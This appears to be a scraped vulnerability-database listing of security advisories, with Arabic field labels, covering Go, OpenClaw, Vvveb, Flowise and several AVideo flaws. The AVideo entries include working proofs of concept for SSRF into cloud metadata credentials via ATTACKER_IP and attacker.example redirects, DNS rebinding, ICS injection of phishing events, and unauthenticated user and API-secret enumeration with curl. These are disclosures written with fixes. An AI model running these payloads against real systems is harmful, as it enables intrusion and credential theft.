الوصف الكامل
### Summary Release 1.17.1 seems affected by CVE-2026-27143. golang 1.25.9 Seems to solve the issue. Is there any new release planned? ### Details See https://nvd.nist.gov/vuln/detail/CVE-2026-27143.
الإصدارات المتأثرة
1.15.0 → 1.18.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U
الوصف الكامل
OpenClaw versions 2026.4.10 before 2026.4.14 fail to persist session context during delivery queue recovery for media replay. Attackers can exploit recovered queued outbound media to bypass group tool policy enforcement and weaken channel media restrictions after service restart or recovery.
الإصدارات المتأثرة
2026.4.10 - 2026.4.14
نوع الثغرة
CWE-862 — Missing Authorization
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
الوصف الكامل
Vvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media upload handler that allows authenticated users with media-upload permissions to bypass extension restrictions by uploading a .htaccess file to map .phtml extensions to the PHP handler. Attackers can upload a .phtml file containing arbitrary PHP code and trigger execution by sending an unauthenticated HTTP GET request to the uploaded file, resulting in remote code execution with web server privileges.
نوع الثغرة
CWE-434 — Unrestricted Upload
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
A vulnerability was detected in FlowiseAI Flowise up to 3.0.12. This affects the function verify of the file packages/server/src/enterprise/services/account.service.ts of the component Endpoint. Performing a manipulation results in information disclosure. Remote exploitation of the attack is possible. The attack is considered to have high complexity. It is indicated that the exploitability is difficult. The exploit is now public and may be used. Upgrading the affected component is recommended.
الإصدارات المتأثرة
3.0.12
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
A security flaw has been discovered in FlowiseAI Flowise up to 3.0.12. Affected is the function Login of the file packages/server/src/enterprise/services/account.service.ts of the component API Response Handler. The manipulation results in information disclosure. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is told to be difficult. You should upgrade the affected component.
الإصدارات المتأثرة
3.0.12
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication. ### PoC 1. Get plugin config (contains `APISecret`): ```bash curl 'http://<host>/objects/plugins.json.php' ``` <img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" /> 2. Copy APISecret from response, then call API directly: ```bash curl --get 'http://<host>/plugin/API/get.json.php' \ --data-urlencode 'APIName=users_list' \ --data-urlencode 'APISecret=<APISecret>' \ --data-urlencode 'rowCount=3' \ --data-urlencode 'current=1' ``` <img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" /> ### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data. ### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
الوصف الكامل
### Summary Two endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP's automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections. A secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks. **Severity:** High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) ### Details #### Finding 1: Redirect-Based SSRF Bypass **Vulnerable code — `plugin/AI/receiveAsync.json.php` (line ~162–165):** ```php // SSRF Protection: Validate URL before fetching if (!isSSRFSafeURL($imageUrl)) { // blocked } else { $imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS! } ``` **Vulnerable code — `objects/EpgParser.php` (line ~358–362):** ```php if (!isSSRFSafeURL($this->url)) { throw new \RuntimeException('URL blocked by SSRF protection'); } $this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS! ``` **Safe code for comparison — `objects/functions.php`, `url_get_contents()`:** ```php $opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect $context = stream_context_create($opts); for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) { $fetched = file_get_contents($currentUrl, false, $context); // ... parse Location header ... if ($redirectTarget) { if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop return false; } $currentUrl = $redirectTarget; continue; } $tmp = $fetched; break; } ``` **Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP's default `follow_location` is `1` (follow redirects). #### Finding 2: DNS Rebinding TOCTOU (Multiple Callers) `isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0). **Affected callers (no DNS pinning):** - `objects/aVideoEncoderReceiveImage.json.php` — 4 call sites - `objects/aVideoEncoder.json.php` — 1 call site - `plugin/BulkEmbed/save.json.php` — 1 call site - `plugin/AI/receiveAsync.json.php` — 1 call site - `objects/EpgParser.php` — 1 call site - `plugin/Scheduler/Scheduler.php` — 1 call site ### PoC #### Redirect Bypass PoC 1. Attacker runs an HTTP server that returns a 302 redirect: ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/") self.end_headers() HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever() ``` 2. Attacker triggers AI image generation and intercepts the callback: ``` POST /plugin/AI/receiveAsync.json.php Content-Type: application/x-www-form-urlencoded type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir ``` 3. `isSSRFSafeURL("http://ATTACKER_IP:8888/redir")` resolves attacker IP → public → **passes** 4. `file_get_contents("http://ATTACKER_IP:8888/redir")` follows 302 to `http://169.254.169.254/...` — **no SSRF re-check occurs** 5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker **Control test:** Replace the redirect target with a legitimate public URL — `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs. #### DNS Rebinding PoC 1. Configure a domain with TTL=0 DNS that alternates: - First query: public IP (passes `isSSRFSafeURL`) - Second query: `127.0.0.1` (reaches internal services) 2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint 3. `isSSRFSafeURL()` resolves → public IP → passes (discards `$resolvedIP`) 4. `url_get_contents()` / `file_get_contents()` resolves again → `127.0.0.1` → SSRF achieved ### Impact An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - **Cloud metadata endpoints** (169.254.169.254) — exfiltrate IAM credentials, instance identity - **Internal services** on localhost or private network (databases, admin panels, monitoring) - **Port scanning** of the internal network using the server as a proxy The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface. ### Suggested Fix **Fix 1 (Redirect bypass — immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context: ```php $ctx = stream_context_create(['http' => ['follow_location' => 0]]); $imageContent = file_get_contents($imageUrl, false, $ctx); ``` **Fix 2 (DNS rebinding — defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`. ### Credit Kai Aizen <kai.aizen.dev@gmail.com>
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-918 — SSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
الوصف الكامل
## Summary The unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim's calendar after import. ## Details ### Vulnerable code path **`plugin/Scheduler/downloadICS.php`** — unauthenticated entry point: ```php if(!AVideoPlugin::isEnabledByName('Scheduler')){ forbiddenPage('Scheduler is disabled'); } if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); } if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); } Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'], @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']); ``` There is no session check, no CSRF token, no user-role check — only an empty-check on `title`/`date_start` and a plugin-enabled check. **`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder: ```php $props = array( 'location' => $location, 'description' => $description, // attacker-controlled 'dtstart' => $dtstart, 'dtend' => $dtend, 'summary' => $title, // attacker-controlled 'url' => $joinURL, // attacker-controlled 'valarm' => $VALARM, ); $ics = new ICS($props); ... echo $icsString; ``` **`objects/ICS.php:167-169`** — incomplete escape: ```php private function escape_string($str) { return preg_replace('/([\,;])/','\\\$1', $str); } ``` Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as `\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `"\r\n"`, so any raw `\r\n` sequence embedded in a value breaks out of the property line and injects new ICS directives. ### Verified exploit output Running the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled): ``` BEGIN:VCALENDAR VERSION:2.0 PRODID:-//hacksw/handcal//NONSGML v1.0//EN CALSCALE:GREGORIAN BEGIN:VEVENT DESCRIPTION:Hello END:VEVENT BEGIN:VEVENT SUMMARY:Injected URL:http://attacker.com DTSTART:20260501T000000Z DTEND:20260501T130000Z SUMMARY:Legit URL;VALUE=URI:https://example.com DTSTAMP:20260424T082123Z UID:69eb2803d1aa2 END:VEVENT END:VCALENDAR ``` The injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning. ## PoC 1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments). 2. Send an unauthenticated GET request with CRLF-encoded payload in `description`: ``` curl -o malicious.ics \ 'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity' ``` 3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL. Local reproduction (without needing a running server) using the same code path: ``` php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();" ``` Produces the two-VEVENT output shown above (verified). ## Impact - **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments. - **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body. - **Integrity:** Low — unwanted/forged events are added to the victim's calendar after they import the file. - **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features. - **Confidentiality / Availability:** No direct impact. Not a higher-severity response-splitting bug: PHP's `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body. ## Recommended Fix Strip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`: ```php private function escape_string($str) { // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str); return preg_replace('/([\,;])/', '\\\\$1', $str); } ``` Additionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` — and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-93 — CWE-93
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
الوصف الكامل
## Summary `objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count. ## Details ### Root cause #1 — `isCompany` admin bypass `objects/users.json.php:13-53` (HEAD, v29.0): ```php $canAdminUsers = canAdminUsers(); // line 13 — for output filtering only ... if (!empty($_REQUEST['users_id'])) { $user = User::getUserFromID($_REQUEST['users_id']); // path #2 ... } else if (empty($_REQUEST['user_groups_id'])) { $isAdmin = null; $isCompany = null; $ignoreAdmin = canSearchUsers() ? true : false; ... if (isset($_REQUEST['isCompany'])) { // line 39 $isCompany = intval($_REQUEST['isCompany']); if (!$canAdminUsers) { if (User::isACompany()) { $isCompany = 0; } else { $isCompany = 1; } $ignoreAdmin = true; // line 47 — bypass flag } } ... $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany); $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany); } ``` `User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION['user']['is_company'])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`. The admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited: ```php public static function getAllUsers($ignoreAdmin = false, ...) { if (!Permissions::canAdminUsers() && !$ignoreAdmin) { // $ignoreAdmin === true → guard skipped _error_log('You are not admin and cannot list all users'); return false; } ... $sql = "SELECT * FROM users u WHERE 1=1 ..."; if (isset($isCompany)) { if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) { $sql .= " AND is_company = $isCompany "; } else { $sql .= " AND (is_company = 0 OR is_company IS NULL) "; } } ``` Note: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP's operator precedence (`!empty($isCompany) && ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` — i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`. ### Root cause #2 — `users_id` single-record oracle `objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST['users_id'])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise — a perfect sequential-ID existence oracle. ### Why there is no blocking mitigation - No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file. - No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design. - The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed — it does not suppress existence or display-name leakage, and `total` is always echoed on line 97. - `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10). ## PoC Target: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required. ### Path 1 — bulk listing via `isCompany` admin-check bypass ``` $ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000¤t=1' {"current":1,"rowCount":1000,"total":42,"rows":[ {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png", "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"}, {"id":"2","identification":"alice",...,"status":"a",...}, ... ]} ``` The same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`. ### Path 2 — sequential-ID existence / display-name oracle ``` $ for i in $(seq 1 10000); do curl -s "http://target/objects/users.json.php?users_id=$i" \ | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv' done 1 1 admin a 1 2 alice a 0 null null null 1 4 bob i ... ``` `total=1` → ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`). ### Verification of the branch logic ```php // Reproduces objects/users.json.php:39-48 for an unauthenticated attacker. $canAdminUsers = false; $ignoreAdmin = false; $_SESSION = []; // unauthenticated $_REQUEST = ['isCompany' => '1']; if (isset($_REQUEST['isCompany'])) { $isCompany = intval($_REQUEST['isCompany']); if (!$canAdminUsers) { $isACompany = !empty($_SESSION['user']['is_company']); // false $isCompany = $isACompany ? 0 : 1; $ignoreAdmin = true; } } var_dump($isCompany, $ignoreAdmin); // int(1) bool(true) → admin guard SKIPPED ``` ## Impact An unauthenticated remote attacker can: - Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs). - Obtain the total registered-user count, useful for platform sizing and post-compromise reporting. - Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints. - Cross-reference leaked display names against the known password-recovery oracle to identify valid targets. No auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request. ## Recommended Fix 1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search: ```php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } ``` 2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here. 3. Gate the `users_id` path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin: ```php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... } ``` 4. Consider clamping `$_REQUEST['rowCount']` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-306 — Auth Bypass
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
## Summary An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase's own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets. ## Details ### Sink: unvalidated curl POST in afterDonation `plugin/YPTWallet/YPTWallet.php:1043-1099` ```php public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters) { ... $donation_notification_url = self::getDonationNotificationURL($users_id); ... if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) { ... $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $donation_notification_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 1); curl_setopt($ch, CURLOPT_NOSIGNAL, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081 ... ob_start(); curl_exec($ch); ob_end_clean(); ``` The gate at line 1064 is `isValidURL()` only. That helper is a pure format check: `objects/functions.php:4305-4315` ```php function isValidURL($url) { if (empty($url) || !is_string($url)) { return false; } if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) { return true; } return false; } ``` It does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs. The project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here. ### Storage path has no SSRF validation `plugin/YPTWallet/view/saveConfiguration.php:31-33` ```php if(isset($_REQUEST['donation_notification_url'])){ $obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']); } ``` `plugin/YPTWallet/YPTWallet.php:1015-1034` ```php static function setDonationNotificationURL($users_id, $url) { $url = trim($url); $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url); $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); if (strlen($url) > 2048) { ... } $user = new User($users_id); return $user->addExternalOptions('donation_notification_url', $url); } ``` No host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `& < > " '`, so `htmlspecialchars` preserves it verbatim. ### Trigger `plugin/CustomizeUser/donate.json.php:88,108` ```php if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) { ... AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters); } ... if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) { ... AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters); } ``` Donor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer. ### FOLLOWLOCATION bypass Even if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint. ### What escapes to the internal request The POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a **blind** SSRF — exfiltration must use out-of-band channels. ## PoC Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default). Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint: ```bash curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \ --data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \ --data-urlencode 'CryptoWallet=' ``` Response body includes the stored `donation_notification_url` plus Alice's `webhook_secret` (the signature is computed with Alice's own secret, so there is no cross-user signature leak). Step 2 — Start a listener on the target host to observe the blind request: ```bash # On the target server nc -lvp 8080 ``` Step 3 — Bob donates the minimum amount to Alice (captcha solved): ```bash curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \ --data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>' ``` `donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`. Step 4 — Observe the netcat listener: the AVideo server issues: ``` POST /internal/admin/action HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: <AVideo UA> Content-Type: application/x-www-form-urlencoded X-Webhook-Signature: sha256=<hmac> X-Webhook-Timestamp: <epoch> Content-Length: ... from_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=... ``` Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker. Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls: ```bash curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \ --data-urlencode 'donation_notification_url=https://attacker.example/r' \ --data-urlencode 'CryptoWallet=' ``` Alice's web server at `attacker.example/r` responds to the POST with: ``` HTTP/1.1 307 Temporary Redirect Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` Because `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable. ## Impact - **Blind SSRF from authenticated low-privileged users.** An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to. - **State-changing POST to internal endpoints.** Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies. - **Cloud metadata reachability via 307 redirect chain.** Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable. - **Blindness limits direct data exfiltration** (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels. - **No CSRF protection** on `saveConfiguration.php`, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account. ## Recommended Fix 1. Call `isSSRFSafeURL()` on both the store path and the dispatch path. In `plugin/YPTWallet/YPTWallet.php:1015` (setter) and line 1064 (dispatcher), replace: ```php if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) { ``` with: ```php $resolvedIP = null; if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) { ``` and reject the URL in `setDonationNotificationURL()` before persisting: ```php static function setDonationNotificationURL($users_id, $url) { $url = trim($url); $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url); if (!isSSRFSafeURL($url)) { _error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}"); return false; } if (strlen($url) > 2048) { ... } $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); ... } ``` 2. Disable automatic redirect following, or implement per-hop validation. Either: ```php curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); ``` Or use `CURLOPT_REDIR_PROTOCOLS` limited to `CURLPROTO_HTTP | CURLPROTO_HTTPS` **and** pin DNS via `CURLOPT_RESOLVE` using the `$resolvedIP` from `isSSRFSafeURL()`, then follow redirects manually by re-validating each `Location:` header with `isSSRFSafeURL()` before re-issuing the request. 3. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call: ```php $parts = parse_url($donation_notification_url); $port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80); curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]); ``` 4. Add a CSRF/global-token check on `plugin/YPTWallet/view/saveConfiguration.php` (consistent with the token validation added elsewhere in the codebase in commit `11e7804f7`) to prevent webhook 